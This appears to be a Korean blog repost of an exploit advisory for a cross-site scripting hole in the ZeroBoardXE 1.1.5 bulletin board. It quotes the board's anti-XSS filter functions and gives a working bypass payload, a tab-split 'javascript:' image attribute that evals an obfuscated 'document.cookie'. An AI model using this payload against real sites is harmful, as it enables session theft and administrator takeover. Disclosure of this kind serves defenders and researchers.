관련링크 : http://www.milw0rm.com/exploits/8019
이번 xss의 핵심(?)은 php eval method에 띄어쓰기(? 공백)을 이용 function.inc.php파일의
xss체크를 우회하는것으로 보입니다. xe관리자 권한을 얻어 모든 작업이 가능하게 된다고 합니다.
------------------------------------------------------------------------------------------------------

ZeroBoardXE 1.1.5 (09.01.22) XSS Vulnerability
bY make0day[AT]gmail.com
Greet to : Flyh4t
/*************************

ZeroBoardXE (VERSION 1.1.5 (09.01.22))is most famous and widely used bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
I find a XSS vulnerability.
By using this vulnerability, Malicious person can occupy administrator permission,
It means attacker can control board system fully
Here is the details:

**************************/
TEST ON VERSION ZeroBoardXE 1.1.5 (09.01.22)
Download : http://www.zeroboard.com
/***************************
[0x01] XSS vulnerability

아래코드는 xss를 방지하기 위한 코드인데
/config/func.inc.php

function removeHackTag($content) {
$content = preg_replace_callback("!<([a-z]+)(.*?)>!is", removeJSEvent, $content);
$content = preg_replace_callback("!<([a-z]+)(.*?)>!is", removeSrcHack, $content);
return $content;
}
function removeJSEvent($matches) {
$attrs = $matches[2];
if(preg_match('/(src|href|lowsrc|dynsrc)=("|'?)([rn]*)(vbscript|javascript)/is', $matches[2])) {
$attrs = preg_replace('/(src|href|lowsrc|dynsrc)=("|'?)([rn]*)(vbscript|javascript)/is','$1=$2_$4', $attrs);
}
$attrs = preg_replace(
'/(r|n| )+on(click|dblclick|mousedown|mouseup|mouseover|mouseout|mousemove|keydown|keyup|keypress|load|unload|abort|error|select|change|submit|reset|resize|scroll|focus|blur)+([= ]+)/is',
' _on$2=',
$attrs
);
$attrs = preg_replace('/_onclick=("|')window.open(this.href);(.?)return false;("|')/i','onclick=$1window.open(this.href);$2return false;$3', $attrs);
return '<'.$matches[1].$attrs.'>';
}
function removeSrcHack($matches) {
$tag = strtolower(trim($matches[1]));
$buff = trim(preg_replace('/(/>|>)/','/>',$matches[0]));
$buff = str_replace(array('&amp;','&'),array('&amp;','&amp;'),$buff);
$buff = preg_replace_callback('/([^=^"^ ]*)=([^ ^>]*)/i', fixQuotation, $buff);
$oXmlParser = new XmlParser();
$xml_doc = $oXmlParser->parse($buff);
$src = $xml_doc->{$tag}->attrs->src;
$dynsrc = $xml_doc->{$tag}->attrs->dynsrc;
$lowsrc = $xml_doc->{$tag}->attrs->lowsrc;
$href = $xml_doc->{$tag}->attrs->href;
if(_isHackedSrc($src) || _isHackedSrc($dynsrc) || _isHackedSrc($lowsrc) || _isHackedSrc($href) ) return sprintf("<%s>",$tag);
return $matches[0];
}
function _isHackedSrc($src) {
if(!$src) return false;
if($src) {
$url_info = parse_url($src);
$query = $url_info['query'];
$queries = explode('&', $query);
$cnt = count($queries);
for($i=0;$i<$cnt;$i++) {
$tmp_str = strtolower(trim($queries[$i]));
$pos = strpos($tmp_str,'=');
if($pos === false) continue;
$key = strtolower(trim(substr($tmp_str, 0, $pos)));
$val = strtolower(trim(substr($tmp_str,$pos+1)));
if( ($key=='module'&&$val=='admin') || ($key=='act'&&preg_match('/admin/i',$val)) ) return true;
}
}
return false;
}



다음과 같이 php eval method에 공백을 이용 xss 체크를 우회할 수 있다고 합니다.
<img lowsrc="j	a	v	a	s	c	ri	pt:alert((eval(('D'+'o'+'C'+'u'+'M'+'e'+'N'+'t'+'.'+'C'+'o'+'O'+'k'+'I'+'e').toLowerCase())));"> 


+ Recent posts